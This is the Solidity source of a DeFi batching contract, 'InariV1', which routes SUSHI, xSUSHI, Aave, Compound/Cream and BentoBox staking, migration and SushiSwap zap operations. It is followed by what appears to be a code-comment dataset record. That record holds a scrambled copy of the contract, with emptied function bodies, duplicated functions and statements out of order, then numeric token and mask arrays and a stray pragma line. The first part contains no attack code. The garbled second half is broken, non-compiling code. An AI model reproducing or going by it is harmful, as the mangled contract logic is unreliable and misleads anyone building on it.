intermediateToken = _token0;
} else {
amountBought = finalBalance1;
intermediateToken = _token1;
}
require(amountBought > 0, 'Swapped to Invalid Intermediate');
}
function _swapIntermediate(
address _toContractAddress,
address _ToSushipoolToken0,
address _ToSushipoolToken1,
uint256 _amount
) internal returns (uint256 token0Bought, uint256 token1Bought) {
(address token0, address token1) = _ToSushipoolToken0 < _ToSushipoolToken1 ? (_ToSushipoolToken0, _ToSushipoolToken1) : (_ToSushipoolToken1, _ToSushipoolToken0);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 res0, uint256 res1, ) = pair.getReserves();
if (_toContractAddress == _ToSushipoolToken0) {
uint256 amountToSwap = calculateSwapInAmount(res0, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token1Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken1,
amountToSwap
);
token0Bought = _amount.sub(amountToSwap);
} else {
uint256 amountToSwap = calculateSwapInAmount(res1, _amount);
// if no reserve or a new pair is created
if (amountToSwap <= 0) amountToSwap = _amount / 2;
token0Bought = _token2Token(
_toContractAddress,
_ToSushipoolToken0,
amountToSwap
);
token1Bought = _amount.sub(amountToSwap);
}
}
function calculateSwapInAmount(uint256 reserveIn, uint256 userIn) internal pure returns (uint256)
{
return
Babylonian
.sqrt(
reserveIn.mul(userIn.mul(3988000) + reserveIn.mul(3988009))
)
.sub(reserveIn.mul(1997)) / 1994;
}
/**
@notice This function is used to swap ERC20 <> ERC20.
@param _FromTokenContractAddress The token address to swap from.
@param _ToTokenContractAddress The token address to swap to.
@param tokens2Trade The amount of tokens to swap.
@return tokenBought The quantity of tokens bought.
*/
function _token2Token(
address _FromTokenContractAddress,
address _ToTokenContractAddress,
uint256 tokens2Trade
) internal returns (uint256 tokenBought) {
if (_FromTokenContractAddress == _ToTokenContractAddress) {
return tokens2Trade;
}
IERC20(_FromTokenContractAddress).approve(
address(sushiSwapRouter),
0
);
IERC20(_FromTokenContractAddress).approve(
address(sushiSwapRouter),
tokens2Trade
);
(address token0, address token1) = _FromTokenContractAddress < _ToTokenContractAddress ? (_FromTokenContractAddress, _ToTokenContractAddress) : (_ToTokenContractAddress, _FromTokenContractAddress);
address pair =
address(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
require(pair != address(0), 'No Swap Available');
address[] memory path = new address[](2);
path[0] = _FromTokenContractAddress;
path[1] = _ToTokenContractAddress;
tokenBought = sushiSwapRouter.swapExactTokensForTokens(
tokens2Trade,
1,
path,
address(this),
deadline
)[path.length - 1];
require(tokenBought > 0, 'Error Swapping Tokens 2');
}
function zapOut(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransferFrom(msg.sender, pair, amount); // pull `amount` to `pair`
(amount0, amount1) = ISushiLiquidityZap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
function zapOutBalance(
address pair,
address to
) external returns (uint256 amount0, uint256 amount1) {
IERC20(pair).safeTransfer(pair, IERC20(pair).balanceOf(address(this))); // transfer local balance to `pair`
(amount0, amount1) = ISushiLiquidityZap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
}
/// @notice Interface for SUSHI MasterChef v2.
interface IMasterChefV2 {
function lpToken(uint256 pid) external view returns (IERC20);
function deposit(uint256 pid, uint256 amount, address to) external;
}
/// @notice Interface for ETH wrapper contract v9.
interface IWETH {
function deposit() external payable;
function withdraw(uint wad) external;
}
/// @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'.
contract InariV1 is BoringBatchableWithDai, Sushiswap_ZapIn_General_V3 {
using SafeMath for uint256;
using BoringERC20 for IERC20;
address governance = msg.sender; // governance role to initialize `masterChefv2`
IERC20 constant sushiToken = IERC20(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); // SUSHI token contract
address constant sushiBar = 0x8798249c2E607446EfB7Ad49eC89dD1865Ff4272; // xSUSHI staking contract for SUSHI
IMasterChefV2 masterChefv2; // SUSHI MasterChef v2 contract
ISushiSwap constant sushiSwapSushiETHPair = ISushiSwap(0x795065dCc9f64b5614C407a6EFDC400DA6221FB0); // SUSHI/ETH pair on SushiSwap
IAaveBridge constant aave = IAaveBridge(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); // AAVE lending pool contract for xSUSHI staking into aXSUSHI
IERC20 constant aaveSushiToken = IERC20(0xF256CC7847E919FAc9B808cC216cAc87CCF2f47a); // aXSUSHI staking contract for xSUSHI
IBentoBridge constant bento = IBentoBridge(0xF5BCE5077908a1b7370B9ae04AdC565EBd643966); // BENTO vault contract
address constant crSushiToken = 0x338286C0BC081891A4Bda39C7667ae150bf5D206; // crSUSHI staking contract for SUSHI
address constant crXSushiToken = 0x228619CCa194Fbe3Ebeb2f835eC1eA5080DaFbb2; // crXSUSHI staking contract for xSUSHI
address constant wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // ETH wrapper contract v9
/// @notice Initialize this Inari contract.
constructor() public {
bento.registerProtocol(); // register this contract with BENTO
}
/// @notice Helper function to approve this contract to spend tokens and enable strategies.
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
token[i].approve(to[i], type(uint256).max); // max approve `to` spender to pull `token` from this contract
}
}
/// @notice Admin function to set `masterChefv2` and burn `governance` role.
function setMasterChefv2(IMasterChefV2 _masterChefv2) external {
require(msg.sender == governance, '!governance');
masterChefv2 = _masterChefv2;
governance = address(0); // burn role
}
/**********
ETH HELPERS
**********/
receive() external payable {}
function withdrawETHbalance(address to) external payable {
(bool success, ) = to.call{value: address(this).balance}("");
require(success, '!payable');
}
/***********
WETH HELPERS
***********/
function depositBalanceToWETH() external payable {
IWETH(wETH).deposit{value: address(this).balance}();
}
function withdrawBalanceFromWETH(address to) external {
uint256 balance = IERC20(wETH).balanceOf(address(this));
IWETH(wETH).withdraw(balance);
(bool success, ) = to.call{value: balance}("");
require(success, '!payable');
}
/**********
TKN HELPERS
**********/
function depositToken(IERC20 token, uint256 amount) external {
token.safeTransferFrom(msg.sender, address(this), amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.balanceOf(address(this)));
}
/***********
SUSHI HELPER
***********/
/// @notice Stake SUSHI local balance into xSushi for benefit of `to` by call to `sushiBar`.
function stakeSushiBalance(address to) external {
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake local SUSHI into `sushiBar` xSUSHI
IERC20(sushiBar).safeTransfer(to, IERC20(sushiBar).balanceOf(address(this))); // transfer resulting xSUSHI to `to`
}
/**********
CHEF HELPER
**********/
function balanceToMasterChefv2(IERC20 lpToken, uint256 pid, address to) external {
masterChefv2.deposit(pid, lpToken.balanceOf(address(this)), to);
}
/*
██ ██ ▄ ▄███▄
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
/***********
AAVE HELPERS
***********/
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0);
}
function balanceFromAave(address aToken, address to) external {
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, IERC20(aToken).balanceOf(address(this)), to);
}
/**************************
AAVE -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into BENTO for benefit of `to` by batching calls to `aave` and `bento`.
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
(amountOut, shareOut) = bento.deposit(IERC20(underlying), address(this), to, amount, 0); // stake `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> AAVE
**************************/
/// @notice Migrate `underlying` `amount` from BENTO into AAVE for benefit of `to` by batching calls to `bento` and `aave`.
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
bento.withdraw(underlying, msg.sender, address(this), amount, 0); // withdraw `amount` of `underlying` from BENTO into this contract
aave.deposit(address(underlying), amount, to, 0); // stake `underlying` into `aave` for `to`
}
/*************************
AAVE -> UNDERLYING -> COMP
*************************/
/// @notice Migrate AAVE `aToken` underlying `amount` into COMP/CREAM `cToken` for benefit of `to` by batching calls to `aave` and `cToken`.
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
IERC20(aToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `aToken` `amount` into this contract
address underlying = IAaveBridge(aToken).UNDERLYING_ASSET_ADDRESS(); // sanity check for `underlying` token
aave.withdraw(underlying, amount, address(this)); // burn deposited `aToken` from `aave` into `underlying`
ICompoundBridge(cToken).mint(amount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/*************************
COMP -> UNDERLYING -> AAVE
*************************/
/// @notice Migrate COMP/CREAM `cToken` underlying `amount` into AAVE for benefit of `to` by batching calls to `cToken` and `aave`.
function compoundToAave(address cToken, address to, uint256 amount) external {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` `cToken` `amount` into this contract
ICompoundBridge(cToken).redeem(amount); // burn deposited `cToken` into `underlying`
address underlying = ICompoundBridge(cToken).underlying(); // sanity check for `underlying` token
aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0); // stake resulting `underlying` into `aave` for `to`
}
/**********************
SUSHI -> XSUSHI -> AAVE
**********************/
/// @notice Stake SUSHI `amount` into aXSUSHI for benefit of `to` by batching calls to `sushiBar` and `aave`.
function stakeSushiToAave(address to, uint256 amount) external { // SAAVE
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
aave.deposit(sushiBar, IERC20(sushiBar).balanceOf(address(this)), to, 0); // stake resulting xSUSHI into `aave` aXSUSHI for `to`
}
/**********************
AAVE -> XSUSHI -> SUSHI
**********************/
/// @notice Unstake aXSUSHI `amount` into SUSHI for benefit of `to` by batching calls to `aave` and `sushiBar`.
function unstakeSushiFromAave(address to, uint256 amount) external {
aaveSushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` aXSUSHI `amount` into this contract
aave.withdraw(sushiBar, amount, address(this)); // burn deposited aXSUSHI from `aave` into xSUSHI
ISushiBarBridge(sushiBar).leave(amount); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
███ ▄███▄ ▄ ▄▄▄▄▀ ████▄
█ █ █▀ ▀ █ ▀▀▀ █ █ █
█ ▀ ▄ ██▄▄ ██ █ █ █ █
█ ▄▀ █▄ ▄▀ █ █ █ █ ▀████
███ ▀███▀ █ █ █ ▀
█ ██ */
/// @notice Liquidity zap into BENTO.
function zapToBento(
address to,
address _FromTokenContractAddress,
address _pairAddress,
uint256 _amount,
uint256 _minPoolTokens,
address _swapTarget,
bytes calldata swapData
) external payable returns (uint256) {
uint256 toInvest = _pullTokens(
_FromTokenContractAddress,
_amount
);
uint256 LPBought = _performZapIn(
_FromTokenContractAddress,
_pairAddress,
toInvest,
_swapTarget,
swapData
);
require(LPBought >= _minPoolTokens, "ERR: High Slippage");
emit ZapIn(to, _pairAddress, LPBought);
bento.deposit(IERC20(_pairAddress), address(this), to, LPBought, 0);
return LPBought;
}
/// @notice Liquidity zap from BENTO.
function zapFromBento(
address pair,
address to,
uint256 amount
) external returns (uint256 amount0, uint256 amount1) {
bento.withdraw(IERC20(pair), msg.sender, pair, amount, 0); // withdraw `amount` to `pair` from BENTO
(amount0, amount1) = ISushiLiquidityZap(pair).burn(to); // trigger burn to redeem liquidity for `to`
}
/************
BENTO HELPERS
************/
function balanceToBento(IERC20 token, address to) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.deposit(token, address(this), to, token.balanceOf(address(this)), 0);
}
function depositFromBento(IERC20 token, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
(amountOut, shareOut) = bento.withdraw(token, msg.sender, address(this), amount, 0);
}
/// @dev Included to be able to approve `bento` in the same transaction (using `batch()`).
function setBentoApproval(
address user,
address masterContract,
bool approved,
uint8 v,
bytes32 r,
bytes32 s
) external {
bento.setMasterContractApproval(user, masterContract, approved, v, r, s);
}
/***********************
SUSHI -> XSUSHI -> BENTO
***********************/
/// @notice Stake SUSHI `amount` into BENTO xSUSHI for benefit of `to` by batching calls to `sushiBar` and `bento`.
function stakeSushiToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to`
}
/***********************
BENTO -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake xSUSHI `amount` from BENTO into SUSHI for benefit of `to` by batching calls to `bento` and `sushiBar`.
function unstakeSushiFromBento(address to, uint256 amount) external {
bento.withdraw(IERC20(sushiBar), msg.sender, address(this), amount, 0); // withdraw `amount` of xSUSHI from BENTO into this contract
ISushiBarBridge(sushiBar).leave(amount); // burn withdrawn xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
▄█▄ █▄▄▄▄ ▄███▄ ██ █▀▄▀█
█▀ ▀▄ █ ▄▀ █▀ ▀ █ █ █ █ █
█ ▀ █▀▀▌ ██▄▄ █▄▄█ █ ▄ █
█▄ ▄▀ █ █ █▄ ▄▀ █ █ █ █
▀███▀ █ ▀███▀ █ █
▀ █ ▀
▀ */
// - COMPOUND - //
/***********
COMP HELPERS
***********/
function balanceToCompound(ICompoundBridge cToken) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
cToken.mint(underlying.balanceOf(address(this)));
}
function balanceFromCompound(address cToken) external {
ICompoundBridge(cToken).redeem(IERC20(cToken).balanceOf(address(this)));
}
/**************************
COMP -> UNDERLYING -> BENTO
**************************/
/// @notice Migrate COMP/CREAM `cToken` `cTokenAmount` into underlying and BENTO for benefit of `to` by batching calls to `cToken` and `bento`.
function compoundToBento(address cToken, address to, uint256 cTokenAmount) external returns (uint256 amountOut, uint256 shareOut) {
IERC20(cToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `cToken` `cTokenAmount` into this contract
ICompoundBridge(cToken).redeem(cTokenAmount); // burn deposited `cToken` into `underlying`
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
(amountOut, shareOut) = bento.deposit(underlying, address(this), to, underlying.balanceOf(address(this)), 0); // stake resulting `underlying` into BENTO for `to`
}
/**************************
BENTO -> UNDERLYING -> COMP
**************************/
/// @notice Migrate `cToken` `underlyingAmount` from BENTO into COMP/CREAM for benefit of `to` by batching calls to `bento` and `cToken`.
function bentoToCompound(address cToken, address to, uint256 underlyingAmount) external {
IERC20 underlying = IERC20(ICompoundBridge(cToken).underlying()); // sanity check for `underlying` token
bento.withdraw(underlying, msg.sender, address(this), underlyingAmount, 0); // withdraw `underlyingAmount` of `underlying` from BENTO into this contract
ICompoundBridge(cToken).mint(underlyingAmount); // stake `underlying` into `cToken`
IERC20(cToken).safeTransfer(to, IERC20(cToken).balanceOf(address(this))); // transfer resulting `cToken` to `to`
}
/**********************
SUSHI -> CREAM -> BENTO
**********************/
/// @notice Stake SUSHI `amount` into crSUSHI and BENTO for benefit of `to` by batching calls to `crSushiToken` and `bento`.
function sushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ICompoundBridge(crSushiToken).mint(amount); // stake deposited SUSHI into crSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crSushiToken), address(this), to, IERC20(crSushiToken).balanceOf(address(this)), 0); // stake resulting crSUSHI into BENTO for `to`
}
/**********************
BENTO -> CREAM -> SUSHI
**********************/
/// @notice Unstake crSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento` and `crSushiToken`.
function sushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crSushiToken` from BENTO into this contract
ICompoundBridge(crSushiToken).redeem(cTokenAmount); // burn deposited `crSushiToken` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/***********************
SUSHI -> XSUSHI -> CREAM
***********************/
/// @notice Stake SUSHI `amount` into crXSUSHI for benefit of `to` by batching calls to `sushiBar` and `crXSushiToken`.
function stakeSushiToCream(address to, uint256 amount) external { // SCREAM
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
IERC20(crXSushiToken).safeTransfer(to, IERC20(crXSushiToken).balanceOf(address(this))); // transfer resulting crXSUSHI to `to`
}
/***********************
CREAM -> XSUSHI -> SUSHI
***********************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI for benefit of `to` by batching calls to `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCream(address to, uint256 cTokenAmount) external {
IERC20(crXSushiToken).safeTransferFrom(msg.sender, address(this), cTokenAmount); // deposit `msg.sender` `crXSushiToken` `cTokenAmount` into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI `amount` from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/********************************
SUSHI -> XSUSHI -> CREAM -> BENTO
********************************/
/// @notice Stake SUSHI `amount` into crXSUSHI and BENTO for benefit of `to` by batching calls to `sushiBar`, `crXSushiToken` and `bento`.
function stakeSushiToCreamToBento(address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
sushiToken.safeTransferFrom(msg.sender, address(this), amount); // deposit `msg.sender` SUSHI `amount` into this contract
ISushiBarBridge(sushiBar).enter(amount); // stake deposited SUSHI `amount` into `sushiBar` xSUSHI
ICompoundBridge(crXSushiToken).mint(IERC20(sushiBar).balanceOf(address(this))); // stake resulting xSUSHI into crXSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(crXSushiToken), address(this), to, IERC20(crXSushiToken).balanceOf(address(this)), 0); // stake resulting crXSUSHI into BENTO for `to`
}
/********************************
BENTO -> CREAM -> XSUSHI -> SUSHI
********************************/
/// @notice Unstake crXSUSHI `cTokenAmount` into SUSHI from BENTO for benefit of `to` by batching calls to `bento`, `crXSushiToken` and `sushiBar`.
function unstakeSushiFromCreamFromBento(address to, uint256 cTokenAmount) external {
bento.withdraw(IERC20(crXSushiToken), msg.sender, address(this), cTokenAmount, 0); // withdraw `cTokenAmount` of `crXSushiToken` from BENTO into this contract
ICompoundBridge(crXSushiToken).redeem(cTokenAmount); // burn deposited `crXSushiToken` `cTokenAmount` into xSUSHI
ISushiBarBridge(sushiBar).leave(IERC20(sushiBar).balanceOf(address(this))); // burn resulting xSUSHI from `sushiBar` into SUSHI
sushiToken.safeTransfer(to, sushiToken.balanceOf(address(this))); // transfer resulting SUSHI to `to`
}
/*
▄▄▄▄▄ ▄ ▄ ██ █ ▄▄
█ ▀▄ █ █ █ █ █ █
▄ ▀▀▀▀▄ █ ▄ █ █▄▄█ █▀▀▀
▀▄▄▄▄▀ █ █ █ █ █ █
█ █ █ █ █
▀ ▀ █ ▀
▀ */
/// @notice SushiSwap ETH to stake SUSHI into xSUSHI and BENTO for benefit of `to`.
function inariZushi(address to) external payable returns (uint256 amountOut, uint256 shareOut) { // INARIZUSHI
(uint256 reserve0, uint256 reserve1, ) = sushiSwapSushiETHPair.getReserves();
uint256 amountInWithFee = msg.value.mul(997);
uint256 out =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IWETH(wETH).deposit{value: msg.value}();
IERC20(wETH).safeTransfer(address(sushiSwapSushiETHPair), msg.value);
sushiSwapSushiETHPair.swap(out, 0, address(this), "");
ISushiBarBridge(sushiBar).enter(sushiToken.balanceOf(address(this))); // stake resulting SUSHI into `sushiBar` xSUSHI
(amountOut, shareOut) = bento.deposit(IERC20(sushiBar), address(this), to, IERC20(sushiBar).balanceOf(address(this)), 0); // stake resulting xSUSHI into BENTO for `to`
}
/// @notice SushiSwap `fromToken` `amountIn` to `toToken` for benefit of `to`.
function swap(address fromToken, address toToken, address to, uint256 amountIn) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
IERC20(fromToken).safeTransferFrom(msg.sender, address(this), amountIn);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
/// @notice SushiSwap local `fromToken` balance in this contract to `toToken` for benefit of `to`.
function swapBalance(address fromToken, address toToken, address to) external returns (uint256 amountOut) {
(address token0, address token1) = fromToken < toToken ? (fromToken, toToken) : (toToken, fromToken);
ISushiSwap pair =
ISushiSwap(
uint256(
keccak256(abi.encodePacked(hex"ff", sushiSwapFactory, keccak256(abi.encodePacked(token0, token1)), pairCodeHash))
)
);
uint256 amountIn = IERC20(fromToken).balanceOf(address(this));
(uint256 reserve0, uint256 reserve1, ) = pair.getReserves();
uint256 amountInWithFee = amountIn.mul(997);
if (toToken > fromToken) {
amountOut =
amountInWithFee.mul(reserve1) /
reserve0.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(0, amountOut, to, "");
} else {
amountOut =
amountInWithFee.mul(reserve0) /
reserve1.mul(1000).add(amountInWithFee);
IERC20(fromToken).safeTransfer(address(pair), amountIn);
pair.swap(amountOut, 0, to, "");
}
}
}
| @notice Contract that batches SUSHI staking and DeFi strategies - V1 'iroirona'. | contract InariV1 is BoringBatchableWithDai, Sushiswap_ZapIn_General_V3 {
using SafeMath for uint256;
using BoringERC20 for IERC20;
constructor() public {
}
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
}
}
function bridgeToken(IERC20[] calldata token, address[] calldata to) external {
for (uint256 i = 0; i < token.length; i++) {
}
}
function setMasterChefv2(IMasterChefV2 _masterChefv2) external {
require(msg.sender == governance, '!governance');
masterChefv2 = _masterChefv2;
}
ETH HELPERS
receive() external payable {}
function withdrawETHbalance(address to) external payable {
require(success, '!payable');
}
(bool success, ) = to.call{value: address(this).balance}("");
WETH HELPERS
function depositBalanceToWETH() external payable {
}
IWETH(wETH).deposit{value: address(this).balance}();
function withdrawBalanceFromWETH(address to) external {
uint256 balance = IERC20(wETH).balanceOf(address(this));
IWETH(wETH).withdraw(balance);
require(success, '!payable');
}
(bool success, ) = to.call{value: balance}("");
TKN HELPERS
function depositToken(IERC20 token, uint256 amount) external {
token.safeTransferFrom(msg.sender, address(this), amount);
}
function withdrawTokenBalance(IERC20 token, address to) external {
token.safeTransfer(to, token.balanceOf(address(this)));
}
SUSHI HELPER
function stakeSushiBalance(address to) external {
}
CHEF HELPER
function balanceToMasterChefv2(IERC20 lpToken, uint256 pid, address to) external {
masterChefv2.deposit(pid, lpToken.balanceOf(address(this)), to);
}
█ █ █ █ █ █▀ ▀
█▄▄█ █▄▄█ █ █ ██▄▄
█ █ █ █ █ █ █▄ ▄▀
█ █ █ █ ▀███▀
█ █ █▐
▀ ▀ ▐ */
██ ██ ▄ ▄███▄
AAVE HELPERS
function balanceToAave(address underlying, address to) external {
aave.deposit(underlying, IERC20(underlying).balanceOf(address(this)), to, 0);
}
function balanceFromAave(address aToken, address to) external {
aave.withdraw(underlying, IERC20(aToken).balanceOf(address(this)), to);
}
AAVE -> UNDERLYING -> BENTO
function aaveToBento(address aToken, address to, uint256 amount) external returns (uint256 amountOut, uint256 shareOut) {
}
BENTO -> UNDERLYING -> AAVE
function bentoToAave(IERC20 underlying, address to, uint256 amount) external {
}
AAVE -> UNDERLYING -> COMP
function aaveToCompound(address aToken, address cToken, address to, uint256 amount) external {
}
COMP -> UNDERLYING -> AAVE
function compoundToAave(address cToken, address to, uint256 amount) external {
}
SUSHI -> XSUSHI -> AAVE
}
| 13,094,470 | [
1,
8924,
716,
13166,
11726,
2664,
45,
384,
6159,
471,
1505,
42,
77,
20417,
300,
776,
21,
296,
11373,
1913,
69,
10332,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
657,
12954,
58,
21,
353,
605,
6053,
4497,
429,
1190,
40,
10658,
16,
348,
1218,
291,
91,
438,
67,
62,
438,
382,
67,
12580,
67,
58,
23,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
605,
6053,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
377,
203,
377,
203,
565,
3885,
1435,
1071,
288,
203,
565,
289,
203,
203,
565,
445,
10105,
1345,
12,
45,
654,
39,
3462,
8526,
745,
892,
1147,
16,
1758,
8526,
745,
892,
358,
13,
3903,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
1147,
18,
2469,
31,
277,
27245,
288,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
10105,
1345,
12,
45,
654,
39,
3462,
8526,
745,
892,
1147,
16,
1758,
8526,
745,
892,
358,
13,
3903,
288,
203,
3639,
364,
261,
11890,
5034,
277,
273,
374,
31,
277,
411,
1147,
18,
2469,
31,
277,
27245,
288,
203,
3639,
289,
203,
565,
289,
203,
203,
565,
445,
444,
7786,
39,
580,
17679,
22,
12,
3445,
2440,
39,
580,
74,
58,
22,
389,
7525,
39,
580,
17679,
22,
13,
3903,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
314,
1643,
82,
1359,
16,
11817,
75,
1643,
82,
1359,
8284,
203,
3639,
4171,
39,
580,
17679,
22,
273,
389,
7525,
39,
580,
17679,
22,
31,
203,
565,
289,
203,
377,
203,
203,
565,
512,
2455,
22557,
3194,
55,
7010,
565,
6798,
1435,
3903,
8843,
429,
2618,
203,
565,
445,
598,
9446,
1584,
44,
12296,
12,
2
] |
pragma solidity ^0.4.24;
